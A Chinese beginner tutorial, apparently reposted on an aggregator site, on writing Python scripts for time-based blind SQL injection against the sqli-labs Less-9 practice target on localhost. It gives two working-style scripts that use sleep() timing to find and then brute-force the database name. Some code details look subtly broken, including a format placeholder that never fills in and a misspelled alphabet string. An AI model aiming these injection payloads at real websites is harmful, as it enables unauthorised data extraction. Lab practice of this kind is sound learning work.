IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 用py写一个时间盲注的脚本(初学向) -> 正文阅读

[大数据]用py写一个时间盲注的脚本(初学向)

用py写一个时间盲注的脚本

1.

首先我们要清楚时间盲注的特点是利用了sql中sleep这个函数,借助的是响应时间不同来判断构造语句的对错,那么我们主要思路就要通过记录响应时间来执行一系列操作,下面是我写的一个简单脚本

2.

import requests
import time
for i in range(1,20):
    url="http://127.0.0.1/sqli/Less-9/?id=1'and if(length(database())={i},1,sleep(5))--+"
    headers={
        'Host': '127.0.0.1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'}
    real_url=url.format(i)
    start_time=time.time()
    requests.get(real_url,headers=headers)
    if time.time() - start_time < 3:
        print('database length is ' + str(i))
        database_length=i
        break
    else:
        pass
import requests
import time
dataname='abcdefghigklmnopqrstuvwxyz'
database=''
for l in range(1,9):
    for  real_dataname in  dataname :
        url="http://127.0.0.1/sqli/Less-9/?id=1'and if(left((select database()),{l})='"+database+"{1}+',1,sleep(3))--+  "   
        real_url=url.format(l,real_dataname)
        headers={
        'Host': '127.0.0.1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'}
        start_time=time.time()
        requests.get(real_url,headers=headers)
        if time.time() - start_time < 2:
            database+=real_dataname
            print(database)
            break
        else:
            pass
print('database is'+database)

第一个是判断数据库长度的,第二个是判断数据库的名称的,如果需要判断列和字段的名称,稍加修改即可

3.

现在我们来分析一下这个脚本

3.1首先我们要导入requests模块和time模块,因为我们要利用时间需要用到py的有关时间的函数,requests是我们需要向一个网址发送信息的必要函数

3.2 以判断sql靶场第九关数据库长度为例,我们先构造url(这里是以get方法传参的)和headers,用py中字典的方法,可以用burp抓包得到,然后我们用for循环和.format方法修改url中的变量并赋值给real_url,之后我们用requests.get(real_url,headers=headers)将数据提交,然后我们通过time.time()函数记录当下提交的时间并赋值给start_time变量,然后我们进行if判定,if time.time() - start_time < 2:就执行我们的语句,否则pass掉

3.3 关于执行次数,我这里用的是穷举,还有更好的方法是二分法,我后续会补充上来

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-02-07 13:47:24  更:2022-02-07 13:49:44 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:49:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码